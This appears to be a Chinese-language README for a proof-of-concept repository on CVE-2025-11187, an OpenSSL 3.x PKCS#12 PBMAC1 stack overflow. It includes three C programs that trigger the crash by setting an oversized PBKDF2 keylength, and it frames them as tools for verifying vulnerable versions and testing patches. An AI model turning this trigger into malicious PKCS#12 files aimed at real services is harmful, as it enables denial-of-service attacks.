OpenSSL PKCS#12 PBMAC1 堆栈缓冲区溢出漏洞 (CVE-2025-11187)
项目概述
本项目针对 OpenSSL 3.x 版本中发现的一个堆栈缓冲区溢出漏洞(CVE-2025-11187)进行了深入分析和验证。该漏洞位于 libcrypto 库的 PKCS#12 PBMAC1 实现中,当解析恶意构造的 PKCS#12 文件时,攻击者可通过控制 PBKDF2 的 keylength 参数触发堆栈缓冲区溢出,导致拒绝服务(DoS)。
功能特性
- 漏洞复现 PoC:提供多个独立的概念验证代码,展示如何触发 CVE-2025-11187 漏洞
- 详细代码注释:核心代码包含完整的注释说明,帮助理解漏洞触发机制
- 灵活的测试参数:支持自定义 keylength、迭代次数和摘要算法进行测试
- 内存安全分析 :演示了在 OpenSSL 3.x 中
PKCS12_gen_mac()函数的栈溢出问题
安装指南
系统要求
- OpenSSL 3.x(3.0+ 至 3.6.0 受影响)
- GCC 编译器
- OpenSSL 开发库
依赖安装(Ubuntu/Debian)
bash
sudo apt update
sudo apt install openssl libssl-dev gcc make
编译 PoC
所有 PoC 文件编译时需链接 OpenSSL 库:
bash
# 编译第一个 PoC(直接栈溢出触发)
gcc -o poc1 poc1.c -lssl -lcrypto
# 编译第二个 PoC(参数化 keylength)
gcc -o poc2 poc2.c -lssl -lcrypto
# 编译第三个 PoC(最小化构造)
gcc -o poc3 poc3.c -lssl -lcrypto
使用说明
基础用法
PoC 1: 直接触发栈溢出
bash
./poc1
该程序创建一个带有超大 keylength(4096)的恶意 PKCS#12 结构,调用 PKCS12_verify_mac() 时触发栈溢出。
PoC 2: 参数化 Keylength
bash
# 使用默认参数(keylength=4096, iter=1000, sha256)
./poc2 4096
# 自定义迭代次数和摘要算法
./poc2 8192 10000 sha512
PoC 3: 最小化构造 + 漏洞触发
bash
./poc3 4096
典型使用场景
- 安全研究人员:使用 PoC 验证目标 OpenSSL 版本是否存在漏洞
- 开发人员:理解漏洞成因,评估升级必要性
- 测试人员:在受控环境中测试补丁有效性
核心代码
漏洞触发核心代码(poc1.c)
c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/pkcs12.h>
#include <openssl/evp.h>
#include <openssl/x509.h>
#include <openssl/pkcs7.h>
#include <openssl/objects.h>
#include <openssl/rand.h>
#include <openssl/err.h>
#include "crypto/pkcs12/p12_local.h"
static void die(const char *msg) {
fprintf(stderr, "%s\n", msg);
ERR_print_errors_fp(stderr);
exit(1);
}
int main(void) {
ERR_load_crypto_strings();
// 创建 PKCS12 对象
PKCS12 *p12 = PKCS12_new();
if (!p12) die("PKCS12_new failed");
// 设置 authsafes 数据
p12->authsafes = PKCS7_new();
if (!p12->authsafes) die("authsafes alloc failed");
if (!PKCS7_set_type(p12->authsafes, NID_pkcs7_data)) die("PKCS7_set_type failed");
ASN1_OCTET_STRING *os = ASN1_OCTET_STRING_new();
if (!os) die("octet string alloc failed");
const unsigned char payload[] = {0x01,0x02,0x03};
if (!ASN1_OCTET_STRING_set(os, payload, (int)sizeof(payload))) die("octet set failed");
p12->authsafes->d.data = os;
// 初始化 PBMAC1 参数(使用 PKCS12_set_pbmac1_pbkdf2)
if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, 1000, EVP_sha256(), NULL))
die("PKCS12_set_pbmac1_pbkdf2 failed");
X509_ALGOR *macalg = NULL;
ASN1_OCTET_STRING *macoct = NULL;
X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct);
// 手动构造 PBMAC1PARAM,设置超大 keylength
PBMAC1PARAM *param = PBMAC1PARAM_new();
if (!param) die("PBMAC1PARAM_new failed");
X509_ALGOR *hmac_alg = X509_ALGOR_new();
if (!hmac_alg) die("hmac alg alloc failed");
if (!X509_ALGOR_set0(hmac_alg, OBJ_nid2obj(NID_hmacWithSHA256), V_ASN1_NULL, NULL))
die("X509_ALGOR_set0 hmac failed");
unsigned char salt[8];
if (RAND_bytes(salt, sizeof(salt)) <= 0) die("RAND_bytes failed");
// 关键:设置超大 keylength 触发栈溢出
int keylen = 4096;
X509_ALGOR *alg = PKCS5_pbkdf2_set(1000, salt, (int)sizeof(salt), NID_hmacWithSHA256, keylen);
if (!alg) die("PKCS5_pbkdf2_set failed");
param->keyDerivationFunc = alg;
param->messageAuthScheme = hmac_alg;
if (!ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter))
die("pack PBMAC1PARAM failed");
PBMAC1PARAM_free(param);
// 触发漏洞:PKCS12_verify_mac 调用 PKCS12_gen_mac 时栈溢出
int ok = PKCS12_verify_mac(p12, "pass", 4);
printf("verify result: %d\n", ok);
PKCS12_free(p12);
return 0;
}
参数化 Keylength 构造(poc2.c 关键函数)
c
static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
// 使用 OpenSSL API 初始化 PBMAC1
if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
die("PKCS12_set_pbmac1_pbkdf2 failed");
X509_ALGOR *macalg = NULL;
ASN1_OCTET_STRING *macoct = NULL;
X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct);
// 获取 PBKDF2 参数结构体
PBKDF2PARAM *pbkdf2 = PBMAC1_get1_pbkdf2_param(macalg);
if (pbkdf2 == NULL) die("PBMAC1_get1_pbkdf2_param failed");
// 直接修改 keylength 字段
if (pbkdf2->keylength == NULL)
pbkdf2->keylength = ASN1_INTEGER_new();
ASN1_INTEGER_set(pbkdf2->keylength, keylen);
// 重新编码并设置回 macalg
unsigned char *der = NULL;
int derlen = i2d_PBKDF2PARAM(pbkdf2, &der);
if (derlen <= 0) die("i2d_PBKDF2PARAM failed");
ASN1_STRING *kdfparam = ASN1_STRING_new();
if (kdfparam == NULL) die("ASN1_STRING_new failed");
ASN1_STRING_set0(kdfparam, der, derlen);
X509_ALGOR_set0(macalg, OBJ_nid2obj(NID_pbmac1), V_ASN1_SEQUENCE, kdfparam);
PBKDF2PARAM_free(pbkdf2);
}
int main(int argc, char **argv)
{
ERR_load_crypto_strings();
if (argc < 2) {
fprintf(stderr, "Usage: %s <keylength> [iter] [digest]\n", argv[0]);
return 1;
}
int keylen = atoi(argv[1]); // 从命令行获取 keylength
int iter = (argc >= 3) ? atoi(argv[2]) : 1000;
const char *dg = (argc >= 4) ? argv[3] : "sha256";
const EVP_MD *md = EVP_get_digestbyname(dg);
if (!md) die("Unknown digest");
PKCS12 *p12 = PKCS12_new();
if (!p12) die("PKCS12_new failed");
set_authsafes_data(p12);
set_pbmac1_keylen(p12, md, iter, keylen);
// 直接调用 PKCS12_gen_mac,不经过 verify 包装
unsigned char mac[EVP_MAX_MD_SIZE];
unsigned int maclen = 0;
int ok = PKCS12_gen_mac(p12, "pass", 4, mac, &maclen);
printf("verify_mac returned: %d, maclen=%u\n", ok, maclen);
PKCS12_free(p12);
return 0;
}
最小化 PKCS12 构造(poc3.c)
c
static PKCS12 *build_p12_min(void)
{
STACK_OF(PKCS12_SAFEBAG) *bags = NULL;
PKCS12_SAFEBAG *bag = NULL;
PKCS7 *p7 = NULL;
STACK_OF(PKCS7) *safes = NULL;
PKCS12 *p12 = NULL;
unsigned char secret[] = { 0xAA };
// 创建最小化的安全包
bags = sk_PKCS12_SAFEBAG_new_null();
if (bags == NULL) die("sk_PKCS12_SAFEBAG_new_null failed");
bag = PKCS12_SAFEBAG_create_secret(NID_secretBag, V_ASN1_OCTET_STRING, secret, (int)sizeof(secret));
if (bag == NULL) die("PKCS12_SAFEBAG_create_secret failed");
if (!sk_PKCS12_SAFEBAG_push(bags, bag)) die("push bag failed");
// 打包为 PKCS7 数据
p7 = PKCS12_pack_p7data(bags);
if (p7 == NULL) die("PKCS12_pack_p7data failed");
safes = sk_PKCS7_new_null();
if (safes == NULL) die("sk_PKCS7_new_null failed");
if (!sk_PKCS7_push(safes, p7)) die("push p7 failed");
// 创建 PKCS12 对象
p12 = PKCS12_add_safes(safes, NID_pkcs7_data);
if (p12 == NULL) die("PKCS12_add_safes failed");
sk_PKCS12_SAFEBAG_pop_free(bags, PKCS12_SAFEBAG_free);
sk_PKCS7_pop_free(safes, PKCS7_free);
return p12;
}
static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
// 使用公开 API 设置 PBMAC1
if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
die("PKCS12_set_pbmac1_pbkdf2 failed");
// 获取 MAC 算法参数
const ASN1_OCTET_STRING *pmac = NULL;
const X509_ALGOR *macalg_const = NULL;
PKCS12_get0_mac(&pmac, &macalg_const, NULL, NULL, p12);
if (macalg_const == NULL) die("PKCS12_get0_mac failed");
// 解包 PBMAC1PARAM
PBMAC1PARAM *param = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), macalg_const->parameter);
if (param == NULL) die("unpack PBMAC1PARAM failed");
// 解包 PBKDF2PARAM
PBKDF2PARAM *pbkdf2 = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), param->keyDerivationFunc->parameter);
if (pbkdf2 == NULL) die("unpack PBKDF2PARAM failed");
// 设置超大的 keylength
if (pbkdf2->keylength == NULL) {
pbkdf2->keylength = ASN1_INTEGER_new();
if (pbkdf2->keylength == NULL) die("ASN1_INTEGER_new keylength failed");
}
ASN1_INTEGER_set(pbkdf2->keylength, keylen);
// 重新打包参数
if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), pbkdf2, ¶m->keyDerivationFunc->parameter) == NULL)
die("pack PBKDF2PARAM failed");
PBKDF2PARAM_free(pbkdf2);
X509_ALGOR *macalg = (X509_ALGOR *)macalg_const;
if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter) == NULL)
die("pack PBMAC1PARAM failed");
PBMAC1PARAM_free(param);
}
漏洞影响
- 受影响版本:OpenSSL 3.x(3.0 至 3.6.0)
- 影响组件:libcrypto(PKCS#12 MAC)、providers(PBKDF2)
- 攻击向量:解析恶意构造的 PKCS#12 文件
- 影响后果:拒绝服务(堆栈缓冲区溢出) 6HFtX5dABrKlqXeO5PUv/6INvAoT4v1AouclTEs3+XE=